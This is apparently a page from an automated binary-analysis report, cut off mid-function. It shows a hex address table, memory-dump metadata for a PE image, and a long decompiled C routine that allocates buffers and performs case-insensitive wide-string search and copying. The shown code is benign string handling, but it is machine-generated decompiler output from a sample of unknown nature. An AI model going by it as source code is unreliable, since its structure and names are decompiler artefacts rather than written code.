0x6e676827
0x6e676814
0x6e676814
0x6e67681e
0x6e676825
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e676825
0x00000000
0x6e676814
0x6e676812
0x00000000
0x6e67680a
0x6e676e47
0x6e676e4a
0x00000000
0x6e6767c4
0x6e6767c6
0x6e6767c8
0x6e6767cb
0x6e6767d5
0x6e6767d8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6767d8
0x6e676e36
0x6e676e39
0x6e676e3f
0x6e676e3f
0x6e676e39
0x6e6767c2
0x6e67682c
0x6e676837
0x6e67683e
0x6e676856
0x6e67685a
0x6e676860
0x6e676868
0x6e676868
0x6e676876
0x6e676879
0x6e67687d
0x6e67687e
0x6e676883
0x6e676886
0x6e67688c
0x6e6768db
0x6e67688e
0x6e676890
0x6e676892
0x6e676895
0x6e676899
0x6e67689d
0x6e6768a1
0x6e6768a3
0x6e6768a6
0x6e6768a6
0x6e6768a7
0x6e6768ac
0x6e6768b2
0x00000000
0x00000000
0x6e6768b4
0x6e6768b8
0x6e6768bd
0x00000000
0x00000000
0x00000000
0x6e6768bd
0x6e6768bf
0x6e6768c3
0x6e6768c3
0x6e676899
0x6e6768c6
0x6e6768c8
0x6e6768c9
0x6e6768cd
0x6e6768d2
0x6e6768d6
0x6e6768d6
0x6e6768e2
0x6e6768e6
0x6e676840
0x6e676840
0x6e676840
0x00000000

Strings

@, xrefs: 6E676DCB

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction ID: 1abecaa50fb13999bec8c6ac4f5bca47bf61e6733f099f7261de814d281d3ba0
Opcode Fuzzy Hash: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction Fuzzy Hash: 64724B7092C7534AEB29CE79C49032E7BE26FC3354F18C66DD8A54B396EA35C841C792

Uniqueness

Uniqueness Score: -1.00%

Function 6E66C590, Relevance: 2.1, Strings: 1, Instructions: 878
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6E66C590(signed int* __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed short* _t304;
				unsigned int _t312;
				signed int _t313;
				signed short** _t319;
				signed short* _t323;
				signed int* _t325;
				signed int _t330;
				signed int _t334;
				signed int _t338;
				unsigned int _t340;
				unsigned int _t341;
				signed int _t343;
				unsigned int _t344;
				signed int _t345;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t357;
				signed int _t360;
				unsigned int _t366;
				signed int _t367;
				void* _t373;
				signed int _t376;
				signed int _t377;
				unsigned int _t383;
				unsigned int _t384;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t396;
				signed int _t398;
				signed int* _t405;
				signed int _t406;
				signed int _t412;
				signed int _t418;
				signed int _t421;
				signed int _t426;
				signed int _t432;
				signed int _t434;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t452;
				signed int _t457;
				signed int _t459;
				signed int _t463;
				signed int _t464;
				signed int _t465;
				signed int _t466;
				signed int _t469;
				signed int _t476;
				signed int _t479;
				signed int _t480;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				void* _t493;
				signed int _t494;
				signed int _t495;
				signed int _t498;
				intOrPtr* _t500;
				signed int _t501;
				signed int _t502;
				intOrPtr* _t503;
				signed int _t504;
				signed int _t505;
				signed int _t508;
				signed int _t510;
				signed int _t513;
				signed int _t518;
				void* _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				void* _t523;
				signed int _t524;
				signed int _t525;
				signed int _t528;
				signed int* _t529;
				signed int _t530;
				signed int _t534;
				signed int _t537;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t552;
				signed int _t554;
				signed int _t555;
				signed int _t556;
				signed int _t559;
				signed int _t563;
				signed int _t564;
				signed int _t565;
				signed int _t566;
				signed int _t570;
				signed int _t571;
				signed int _t574;
				signed int _t581;
				signed short* _t582;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				intOrPtr* _t594;
				signed int _t595;
				signed short* _t596;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t602;
				signed int _t603;
				signed int _t609;
				signed int _t611;
				signed int* _t614;

				_v64 = 0;
				_t405 = __ecx;
				_v60 = 0;
				_push(0x80);
				_t551 = E6E661030();
				_t614 = (_t611 & 0xfffffff0) - 0x34 + 4;
				_t304 = _v64;
				if(_t304 == 0) {
					__eflags = 0;
					 *_t551 = 0;
					L8:
					_v60 = 0x40;
					_v64 = _t551;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t551;
						if(_t551 == 0) {
							_t459 = 0x40;
							_t581 = 0;
							L23:
							_t24 = _t581 + 2; // -2147483652
							_t493 = _t24;
							__eflags = _t493 - 0x40;
							_t494 =  <=  ? 0x40 : _t493;
							__eflags = _t459 - _t494;
							if(_t459 < _t494) {
								_t312 = (_t494 >> 5 >> 0x1a) + _t494 >> 6;
								_t495 = _t494 & 0x8000003f;
								__eflags = _t495;
								if(_t495 < 0) {
									_t495 = (_t495 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t495;
								}
								__eflags = _t495;
								_t313 = _t312 + (0 | _t495 > 0x00000000);
								 *_t614 = _t313 << 6;
								_push(_t313 << 7);
								_t552 = E6E661030();
								_t614 =  &(_t614[1]);
								_t498 = _v64;
								__eflags = _t498;
								if(_t498 == 0) {
									__eflags = 0;
									 *_t552 = 0;
									goto L35;
								} else {
									__eflags = _t552;
									if(_t552 == 0) {
										L33:
										_push(2);
										_push(_t498);
										E6E6610B0();
										_t614 =  &(_t614[2]);
										L35:
										_v60 =  *_t614;
										_v64 = _t552;
										L36:
										__eflags = 0;
										 *((short*)(_t552 + _t581 * 2)) = _a8 & 0x0000ffff;
										_t319 =  &_v64;
										 *((short*)( *_t319 + 2 + _t581 * 2)) = 0;
										L37:
										_t582 =  *_t319;
										if(_t582 == 0) {
											L39:
											_t500 = _a4;
											_push(0x80);
											 *_t500 = 0;
											 *((intOrPtr*)(_t500 + 4)) = 0;
											_t406 = E6E661030();
											_t614 =  &(_t614[1]);
											_t323 =  *_a4;
											if(_t323 == 0) {
												 *_t406 = 0;
												L60:
												_t325 = _a4;
												 *_t325 = _t406;
												_t325[1] = 0x40;
												L61:
												_push(2);
												_push(_v64);
												E6E6610B0();
												_v64 = 0;
												_v60 = 0;
												return _a4;
											}
											if(_t406 == 0) {
												L45:
												_push(2);
												_push(_t323);
												E6E6610B0();
												_t614 =  &(_t614[2]);
												goto L60;
											}
											_t501 =  *_t323 & 0x0000ffff;
											 *_t406 = _t501;
											if(_t501 == 0) {
												goto L45;
											}
											_t502 = 0;
											while(1) {
												_t502 = _t502 + 1;
												_t463 =  *(_t323 + _t502 * 4 - 2) & 0x0000ffff;
												 *(_t406 + _t502 * 4 - 2) = _t463;
												if(_t463 == 0) {
													goto L45;
												}
												_t464 =  *(_t323 + _t502 * 4) & 0x0000ffff;
												 *(_t406 + _t502 * 4) = _t464;
												if(_t464 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t330 =  *_t582 & 0x0000ffff;
										if(_t330 != 0) {
											_t554 =  *_t405;
											__eflags = _t554;
											if(_t554 == 0) {
												L52:
												_t503 = _a4;
												_push(0x80);
												 *_t503 = 0;
												 *((intOrPtr*)(_t503 + 4)) = 0;
												_t406 = E6E661030();
												_t614 =  &(_t614[1]);
												_t334 =  *_a4;
												__eflags = _t334;
												if(_t334 == 0) {
													__eflags = 0;
													 *_t406 = 0;
													goto L60;
												}
												__eflags = _t406;
												if(_t406 == 0) {
													L58:
													_push(2);
													_push(_t334);
													E6E6610B0();
													_t614 =  &(_t614[2]);
													goto L60;
												}
												_t504 =  *_t334 & 0x0000ffff;
												 *_t406 = _t504;
												__eflags = _t504;
												if(_t504 == 0) {
													goto L58;
												}
												_t505 = 0;
												__eflags = 0;
												while(1) {
													_t505 = _t505 + 1;
													_t465 =  *(_t334 + _t505 * 4 - 2) & 0x0000ffff;
													 *(_t406 + _t505 * 4 - 2) = _t465;
													__eflags = _t465;
													if(_t465 == 0) {
														goto L58;
													}
													_t466 =  *(_t334 + _t505 * 4) & 0x0000ffff;
													 *(_t406 + _t505 * 4) = _t466;
													__eflags = _t466;
													if(_t466 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t554 & 0x0000ffff;
											if(( *_t554 & 0x0000ffff) == 0) {
												goto L52;
											}
											_v24 = _t582;
											__eflags = _t330 - 0x41 - 0x19;
											_t337 =  <=  ? _t330 + 0x20 : _t330;
											_t508 = 0;
											__eflags = 0;
											_t338 = ( <=  ? _t330 + 0x20 : _t330) & 0x0000ffff;
											_v44 = _t338;
											while(1) {
												_t584 =  *(_t554 + _t508 * 2) & 0x0000ffff;
												_t67 = _t584 - 0x41; // 0x7fffffbe
												__eflags = _t67 - 0x19;
												_t68 = _t584 + 0x20; // 0x8000001f
												_t585 =  <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff;
												__eflags = ( <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff) - _t338;
												if(( <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff) == _t338) {
													break;
												}
												_t508 = _t508 + 1;
												__eflags =  *(_t554 + _t508 * 2) & 0x0000ffff;
												if(( *(_t554 + _t508 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												goto L52;
											}
											_t586 = _v24;
											_t469 = _t554 + _t508 * 2;
											__eflags = _t469;
											if(_t469 == 0) {
												goto L52;
											}
											_t510 = _t586 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t340 = _t510 & 0x00000001;
											_t412 =  ~_t510 + 0x10 >> 1;
											_v52 = _t412;
											_v36 = _t554;
											_v24 = _t586;
											_t555 = _t412;
											while(1) {
												L68:
												_t587 = _t510;
												__eflags = _t510;
												if(_t510 == 0) {
													goto L74;
												}
												_t421 = 0;
												__eflags = _t340;
												if(_t340 != 0) {
													L78:
													_v28 = _t340;
													_t603 = _v24;
													while(1) {
														__eflags =  *(_t603 + _t421 * 2) & 0x0000ffff;
														if(( *(_t603 + _t421 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t421 = _t421 + 1;
														__eflags = _t421 - 0x7fffffff;
														if(_t421 < 0x7fffffff) {
															continue;
														}
														_v24 = _t603;
														_t341 = _v28;
														L82:
														_t421 = 0x7fffffff;
														L83:
														 *_t614 = _t421;
														_t588 = 0;
														__eflags = 0;
														_v32 = _t510;
														_v28 = _t341;
														while(1) {
															_t422 =  *(_t469 + _t588 * 2) & 0x0000ffff;
															_t124 = _t422 - 0x61; // 0x7fffff9e
															_t559 =  *(_v24 + _t588 * 2) & 0x0000ffff;
															__eflags = _t124 - 0x19;
															_t127 = _t422 - 0x20; // 0x7fffffdf
															_t423 =  <=  ? _t127 :  *(_t469 + _t588 * 2) & 0x0000ffff;
															_t343 = ( <=  ? _t127 :  *(_t469 + _t588 * 2) & 0x0000ffff) & 0x0000ffff;
															__eflags = _t559 - 0x61 - 0x19;
															_t560 =  <=  ? _t559 - 0x20 : _t559;
															__eflags = _t343 - ( <=  ? _t559 - 0x20 : _t559);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t343;
															if(_t343 == 0) {
																L88:
																_t510 = _v32;
																_t341 = _v28;
																_t563 = _v36;
																_t591 = _v24;
																L89:
																__eflags = _t469;
																if(_t469 == 0) {
																	goto L52;
																}
																_v28 = _t341;
																_v36 = _t563;
																_v24 = _t591;
																_t592 = 0;
																__eflags = 0;
																while(1) {
																	L91:
																	_t564 = _t469;
																	_t349 = _t469 + 2;
																	__eflags = _t349;
																	if(_t349 == 0) {
																		break;
																	}
																	__eflags =  *(_t469 + 2) & 0x0000ffff;
																	if(( *(_t469 + 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	 *_t614 = _t564;
																	_t443 = _t592;
																	_v32 = _t510;
																	while(1) {
																		_t443 = _t443 + 1;
																		_t596 = _t469 + _t443 * 2;
																		_t537 =  *_t596 & 0x0000ffff;
																		__eflags = ( *(_t349 + _t443 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																		_v48 = _t596;
																		_t538 =  <=  ? _t537 + 0x20 : _t537;
																		__eflags = ( <=  ? _t537 + 0x20 : _t537) - _v44;
																		if(( <=  ? _t537 + 0x20 : _t537) == _v44) {
																			break;
																		}
																		__eflags =  *(_t349 + _t443 * 2) & 0x0000ffff;
																		if(( *(_t349 + _t443 * 2) & 0x0000ffff) != 0) {
																			continue;
																		}
																		L96:
																		_t510 = _v32;
																		_t350 = _v28;
																		_t565 = _v36;
																		_t593 = _v24;
																		L97:
																		__eflags = _t510;
																		if(_t510 == 0) {
																			L102:
																			_t476 =  ~( ~_t510 + 0x00000007 & 0x00000007) + 0x7fffffff;
																			__eflags = _t476;
																			while(1) {
																				asm("movdqu xmm1, [esi+edx*2]");
																				asm("pcmpeqw xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t350;
																				if(_t350 != 0) {
																					break;
																				}
																				_t510 = _t510 + 8;
																				__eflags = _t510 - _t476;
																				if(_t510 < _t476) {
																					continue;
																				}
																				__eflags = _t476 - 0x7fffffff;
																				if(_t476 >= 0x7fffffff) {
																					L108:
																					_t476 = 0x7fffffff;
																					L109:
																					_t352 = _t565 & 0x0000000f;
																					__eflags = _t352;
																					if(_t352 == 0) {
																						L114:
																						_t432 =  ~( ~_t352 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t432;
																						while(1) {
																							asm("movdqu xmm1, [edi+eax*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb edx, xmm1");
																							__eflags = _t510;
																							if(_t510 != 0) {
																								break;
																							}
																							_t352 = _t352 + 8;
																							__eflags = _t352 - _t432;
																							if(_t352 < _t432) {
																								continue;
																							}
																							__eflags = _t432 - 0x7fffffff;
																							if(_t432 >= 0x7fffffff) {
																								L120:
																								_t432 = 0x7fffffff;
																								L121:
																								_t594 = _a4;
																								_t518 =  *_t614 - _t565 + _t476 * 2 >> 1;
																								__eflags = _t518;
																								 *_t594 = 0;
																								_t519 =  <=  ? 0 : _t518;
																								__eflags = _t432 - _t519;
																								 *((intOrPtr*)(_t594 + 4)) = 0;
																								_t520 =  <  ? _t432 : _t519;
																								_t434 = _t432 - _t520;
																								_t566 = _t565 + _t520 * 2;
																								__eflags = _t566;
																								if(_t566 == 0) {
																									L156:
																									_push(0x80);
																									_t406 = E6E661030();
																									_t614 =  &(_t614[1]);
																									_t357 =  *_a4;
																									__eflags = _t357;
																									if(_t357 == 0) {
																										 *_t406 = 0;
																										goto L60;
																									}
																									__eflags = _t406;
																									if(_t406 == 0) {
																										L162:
																										_push(2);
																										_push(_t357);
																										E6E6610B0();
																										_t614 =  &(_t614[2]);
																										goto L60;
																									}
																									_t521 =  *_t357 & 0x0000ffff;
																									 *_t406 = _t521;
																									__eflags = _t521;
																									if(_t521 == 0) {
																										goto L162;
																									}
																									_t522 = 0;
																									__eflags = 0;
																									while(1) {
																										_t522 = _t522 + 1;
																										_t479 =  *(_t357 + _t522 * 4 - 2) & 0x0000ffff;
																										 *(_t406 + _t522 * 4 - 2) = _t479;
																										__eflags = _t479;
																										if(_t479 == 0) {
																											goto L162;
																										}
																										_t480 =  *(_t357 + _t522 * 4) & 0x0000ffff;
																										 *(_t406 + _t522 * 4) = _t480;
																										__eflags = _t480;
																										if(_t480 != 0) {
																											continue;
																										}
																										goto L162;
																									}
																									goto L162;
																								}
																								_t360 =  *_t566 & 0x0000ffff;
																								__eflags = _t360;
																								if(_t360 == 0) {
																									goto L156;
																								}
																								__eflags = _t434;
																								if(_t434 != 0) {
																									L136:
																									_t176 = _t434 + 1; // 0x80000000
																									_t523 = _t176;
																									__eflags = _t523 - 0x40;
																									_t524 =  <=  ? 0x40 : _t523;
																									__eflags = _t524;
																									if(_t524 > 0) {
																										_t366 = (_t524 >> 5 >> 0x1a) + _t524 >> 6;
																										_t525 = _t524 & 0x8000003f;
																										__eflags = _t525;
																										if(_t525 < 0) {
																											_t525 = (_t525 - 0x00000001 | 0xffffffc0) + 1;
																											__eflags = _t525;
																										}
																										__eflags = _t525;
																										_t367 = _t366 + (0 | _t525 > 0x00000000);
																										 *_t614 = _t367 << 6;
																										_push(_t367 << 7);
																										_t595 = E6E661030();
																										_t614 =  &(_t614[1]);
																										_t528 =  *_a4;
																										__eflags = _t528;
																										if(_t528 == 0) {
																											__eflags = 0;
																											 *_t595 = 0;
																											goto L148;
																										} else {
																											__eflags = _t595;
																											if(_t595 == 0) {
																												L146:
																												_push(2);
																												_push(_t528);
																												E6E6610B0();
																												_t614 =  &(_t614[2]);
																												L148:
																												_t529 = _a4;
																												_t529[1] =  *_t614;
																												 *_t529 = _t595;
																												L149:
																												__eflags = _t595;
																												if(_t595 == 0) {
																													goto L61;
																												}
																												_t373 = 0;
																												while(1) {
																													_t530 =  *_t566 & 0x0000ffff;
																													_t373 = _t373 + 1;
																													 *_t595 = _t530;
																													__eflags = _t434;
																													if(_t434 == 0) {
																														goto L154;
																													}
																													__eflags = _t373 - _t434;
																													if(_t373 == _t434) {
																														 *(_t595 + 2) = 0;
																														goto L61;
																													}
																													L154:
																													__eflags = _t530;
																													if(_t530 == 0) {
																														goto L61;
																													}
																													_t595 = _t595 + 2;
																													_t566 = _t566 + 2;
																													__eflags = _t566;
																												}
																											}
																											_t376 =  *_t528 & 0x0000ffff;
																											 *_t595 = _t376;
																											__eflags = _t376;
																											if(_t376 == 0) {
																												goto L146;
																											}
																											_t377 = 0;
																											__eflags = 0;
																											while(1) {
																												_t377 = _t377 + 1;
																												_t483 =  *(_t528 + _t377 * 4 - 2) & 0x0000ffff;
																												 *(_t595 + _t377 * 4 - 2) = _t483;
																												__eflags = _t483;
																												if(_t483 == 0) {
																													goto L146;
																												}
																												_t484 =  *(_t528 + _t377 * 4) & 0x0000ffff;
																												 *(_t595 + _t377 * 4) = _t484;
																												__eflags = _t484;
																												if(_t484 != 0) {
																													continue;
																												}
																												goto L146;
																											}
																											goto L146;
																										}
																									}
																									_t595 = 0;
																									goto L149;
																								}
																								_t534 = _t566 & 0x0000000f;
																								__eflags = _t534;
																								if(_t534 == 0) {
																									L129:
																									_t434 =  ~( ~_t534 + 0x00000007 & 0x00000007) + 0x7fffffff;
																									__eflags = _t434;
																									while(1) {
																										asm("movdqu xmm1, [edi+edx*2]");
																										asm("pcmpeqw xmm1, xmm0");
																										asm("pmovmskb eax, xmm1");
																										__eflags = _t360;
																										if(_t360 != 0) {
																											break;
																										}
																										_t534 = _t534 + 8;
																										__eflags = _t534 - _t434;
																										if(_t534 < _t434) {
																											continue;
																										}
																										__eflags = _t434 - 0x7fffffff;
																										if(_t434 >= 0x7fffffff) {
																											L135:
																											_t434 = 0x7fffffff;
																											goto L136;
																										} else {
																											goto L133;
																										}
																										while(1) {
																											L133:
																											__eflags =  *(_t566 + _t434 * 2) & 0x0000ffff;
																											if(( *(_t566 + _t434 * 2) & 0x0000ffff) == 0) {
																												goto L136;
																											}
																											_t434 = _t434 + 1;
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 < 0x7fffffff) {
																												continue;
																											}
																											goto L135;
																										}
																										goto L136;
																									}
																									asm("bsf ebx, eax");
																									_t434 = (_t434 >> 1) + _t534;
																									goto L136;
																								}
																								_t434 = 0;
																								__eflags = _t534 & 0x00000001;
																								if((_t534 & 0x00000001) != 0) {
																									goto L133;
																								}
																								_t534 =  ~_t534 + 0x10 >> 1;
																								__eflags = _t534;
																								while(1) {
																									_t360 =  *(_t566 + _t434 * 2) & 0x0000ffff;
																									__eflags = _t360;
																									if(_t360 == 0) {
																										goto L136;
																									}
																									_t434 = _t434 + 1;
																									__eflags = _t434 - _t534;
																									if(_t434 < _t534) {
																										continue;
																									}
																									goto L129;
																								}
																								goto L136;
																							} else {
																								goto L118;
																							}
																							while(1) {
																								L118:
																								__eflags =  *(_t565 + _t432 * 2) & 0x0000ffff;
																								if(( *(_t565 + _t432 * 2) & 0x0000ffff) == 0) {
																									goto L121;
																								}
																								_t432 = _t432 + 1;
																								__eflags = _t432 - 0x7fffffff;
																								if(_t432 < 0x7fffffff) {
																									continue;
																								}
																								goto L120;
																							}
																							goto L121;
																						}
																						asm("bsf ebx, edx");
																						_t432 = (_t432 >> 1) + _t352;
																						goto L121;
																					}
																					_t432 = 0;
																					__eflags = _t352 & 0x00000001;
																					if((_t352 & 0x00000001) != 0) {
																						goto L118;
																					}
																					_t352 =  ~_t352 + 0x10 >> 1;
																					__eflags = _t352;
																					while(1) {
																						_t510 =  *(_t565 + _t432 * 2) & 0x0000ffff;
																						__eflags = _t510;
																						if(_t510 == 0) {
																							goto L121;
																						}
																						_t432 = _t432 + 1;
																						__eflags = _t432 - _t352;
																						if(_t432 < _t352) {
																							continue;
																						}
																						goto L114;
																					}
																					goto L121;
																				} else {
																					goto L106;
																				}
																				while(1) {
																					L106:
																					__eflags =  *(_t593 + _t476 * 2) & 0x0000ffff;
																					if(( *(_t593 + _t476 * 2) & 0x0000ffff) == 0) {
																						goto L109;
																					}
																					_t476 = _t476 + 1;
																					__eflags = _t476 - 0x7fffffff;
																					if(_t476 < 0x7fffffff) {
																						continue;
																					}
																					goto L108;
																				}
																				goto L109;
																			}
																			asm("bsf ecx, eax");
																			_t476 = (_t476 >> 1) + _t510;
																			goto L109;
																		}
																		_t476 = 0;
																		__eflags = _t350;
																		if(_t350 != 0) {
																			goto L106;
																		}
																		_t510 = _v52;
																		_t441 = _t510;
																		while(1) {
																			_t350 =  *(_t593 + _t476 * 2) & 0x0000ffff;
																			__eflags = _t350;
																			if(_t350 == 0) {
																				goto L109;
																			}
																			_t476 = _t476 + 1;
																			__eflags = _t476 - _t441;
																			if(_t476 < _t441) {
																				continue;
																			}
																			goto L102;
																		}
																		goto L109;
																	}
																	_t485 = _v48;
																	_t510 = _v32;
																	_t570 = _v52;
																	_t383 = _v28;
																	while(1) {
																		_t598 = _t510;
																		__eflags = _t510;
																		if(_t510 == 0) {
																			goto L180;
																		}
																		L175:
																		_t452 = 0;
																		__eflags = _t383;
																		if(_t383 != 0) {
																			L184:
																			_v28 = _t383;
																			_t602 = _v24;
																			while(1) {
																				__eflags =  *(_t602 + _t452 * 2) & 0x0000ffff;
																				if(( *(_t602 + _t452 * 2) & 0x0000ffff) == 0) {
																					break;
																				}
																				_t452 = _t452 + 1;
																				__eflags = _t452 - 0x7fffffff;
																				if(_t452 < 0x7fffffff) {
																					continue;
																				}
																				_v24 = _t602;
																				_t384 = _v28;
																				L188:
																				_t452 = 0x7fffffff;
																				L189:
																				_v56 = _t452;
																				_t599 = 0;
																				__eflags = 0;
																				_v32 = _t510;
																				_v28 = _t384;
																				while(1) {
																					_t453 =  *(_t485 + _t599 * 2) & 0x0000ffff;
																					_t241 = _t453 - 0x61; // 0x7fffff9e
																					_t574 =  *(_v24 + _t599 * 2) & 0x0000ffff;
																					__eflags = _t241 - 0x19;
																					_t244 = _t453 - 0x20; // 0x7fffffdf
																					_t454 =  <=  ? _t244 :  *(_t485 + _t599 * 2) & 0x0000ffff;
																					_t386 = ( <=  ? _t244 :  *(_t485 + _t599 * 2) & 0x0000ffff) & 0x0000ffff;
																					__eflags = _t574 - 0x61 - 0x19;
																					_t575 =  <=  ? _t574 - 0x20 : _t574;
																					__eflags = _t386 - ( <=  ? _t574 - 0x20 : _t574);
																					if(__eflags < 0 || __eflags > 0) {
																						break;
																					}
																					__eflags = _t386;
																					if(_t386 == 0) {
																						L194:
																						_t564 =  *_t614;
																						_t592 = _t599 ^ _t599;
																						__eflags = _t592;
																						_t510 = _v32;
																						L195:
																						__eflags = _t485;
																						if(_t485 != 0) {
																							goto L91;
																						}
																						goto L196;
																					}
																					_t599 = _t599 + 1;
																					__eflags = _t599 - _v56;
																					if(_t599 < _v56) {
																						continue;
																					}
																					goto L194;
																				}
																				_t510 = _v32;
																				_t350 = _v28;
																				_t601 = _t485 + 2;
																				__eflags = _t601;
																				if(_t601 == 0) {
																					L207:
																					_t565 = _v36;
																					_t593 = _v24;
																					goto L97;
																				}
																				__eflags =  *(_t485 + 2) & 0x0000ffff;
																				if(( *(_t485 + 2) & 0x0000ffff) == 0) {
																					goto L207;
																				}
																				_v40 = _t485;
																				_t457 = 0;
																				__eflags = 0;
																				_v32 = _t510;
																				_v28 = _t350;
																				while(1) {
																					_t457 = _t457 + 1;
																					_t485 = _v40 + _t457 * 2;
																					_t387 =  *_t485 & 0x0000ffff;
																					__eflags = ( *(_t601 + _t457 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																					_t388 =  <=  ? _t387 + 0x20 : _t387;
																					__eflags = ( <=  ? _t387 + 0x20 : _t387) - _v44;
																					if(( <=  ? _t387 + 0x20 : _t387) == _v44) {
																						break;
																					}
																					__eflags =  *(_t601 + _t457 * 2) & 0x0000ffff;
																					if(( *(_t601 + _t457 * 2) & 0x0000ffff) != 0) {
																						continue;
																					}
																					goto L96;
																				}
																				_t510 = _v32;
																				_t570 = _v52;
																				_t383 = _v28;
																				_t598 = _t510;
																				__eflags = _t510;
																				if(_t510 == 0) {
																					goto L180;
																				}
																				goto L175;
																			}
																			_v24 = _t602;
																			_t384 = _v28;
																			L198:
																			__eflags = _t452;
																			if(__eflags == 0) {
																				goto L188;
																			}
																			if(__eflags > 0) {
																				goto L189;
																			}
																			_v28 = _t384;
																			_t592 = 0;
																			_t564 =  *_t614;
																			goto L195;
																		}
																		_v32 = _t510;
																		_t598 = _t570;
																		_v28 = _t383;
																		_t544 = _v24;
																		while(1) {
																			__eflags =  *(_t544 + _t452 * 2) & 0x0000ffff;
																			if(( *(_t544 + _t452 * 2) & 0x0000ffff) == 0) {
																				break;
																			}
																			_t452 = _t452 + 1;
																			__eflags = _t452 - _t570;
																			if(_t452 < _t570) {
																				continue;
																			}
																			_v24 = _t544;
																			_t510 = _v32;
																			_t383 = _v28;
																			goto L180;
																		}
																		_v24 = _t544;
																		_t510 = _v32;
																		_t384 = _v28;
																		goto L198;
																		L180:
																		_v28 = _t383;
																		_t449 =  ~( ~_t598 + 0x00000007 & 0x00000007) + 0x7fffffff;
																		__eflags = _t449;
																		_t571 = _v24;
																		while(1) {
																			asm("movdqu xmm1, [edi+esi*2]");
																			asm("pcmpeqw xmm1, xmm0");
																			asm("pmovmskb eax, xmm1");
																			__eflags = _t383;
																			if(_t383 != 0) {
																				break;
																			}
																			_t598 = _t598 + 8;
																			__eflags = _t598 - _t449;
																			if(_t598 < _t449) {
																				continue;
																			}
																			_v24 = _t571;
																			_t384 = _v28;
																			__eflags = _t449 - 0x7fffffff;
																			if(_t449 >= 0x7fffffff) {
																				goto L188;
																			}
																			goto L184;
																		}
																		asm("bsf ebx, ebx");
																		_v24 = _t571;
																		_t452 = (_t383 >> 1) + _t598;
																		_t384 = _v28;
																		goto L198;
																	}
																}
																L196:
																 *_t614 = _t564;
																_t350 = _v28;
																_t565 = _v36;
																_t593 = _v24;
																goto L97;
															}
															_t588 = _t588 + 1;
															__eflags = _t588 -  *_t614;
															if(_t588 <  *_t614) {
																continue;
															}
															goto L88;
														}
														_t513 = _v32;
														_t344 = _v28;
														_t590 = _t469 + 2;
														__eflags = _t590;
														if(_t590 == 0) {
															goto L52;
														}
														__eflags =  *(_t469 + 2) & 0x0000ffff;
														if(( *(_t469 + 2) & 0x0000ffff) == 0) {
															goto L52;
														}
														_v40 = _t469;
														_t426 = 0;
														__eflags = 0;
														_v32 = _t513;
														_v28 = _t344;
														while(1) {
															_t426 = _t426 + 1;
															_t469 = _v40 + _t426 * 2;
															_t345 =  *_t469 & 0x0000ffff;
															__eflags = ( *(_t590 + _t426 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t346 =  <=  ? _t345 + 0x20 : _t345;
															__eflags = ( <=  ? _t345 + 0x20 : _t345) - _v44;
															if(( <=  ? _t345 + 0x20 : _t345) == _v44) {
																break;
															}
															__eflags =  *(_t590 + _t426 * 2) & 0x0000ffff;
															if(( *(_t590 + _t426 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L52;
														}
														_t510 = _v32;
														_t555 = _v52;
														_t340 = _v28;
														goto L68;
													}
													_v24 = _t603;
													_t341 = _v28;
													L166:
													__eflags = _t421;
													if(__eflags == 0) {
														goto L82;
													}
													if(__eflags > 0) {
														goto L83;
													}
													_t563 = _v36;
													_t591 = _v24;
													goto L89;
												}
												_v32 = _t510;
												_t587 = _t555;
												_v28 = _t340;
												_t546 = _v24;
												while(1) {
													__eflags =  *(_t546 + _t421 * 2) & 0x0000ffff;
													if(( *(_t546 + _t421 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t421 = _t421 + 1;
													__eflags = _t421 - _t555;
													if(_t421 < _t555) {
														continue;
													}
													_v24 = _t546;
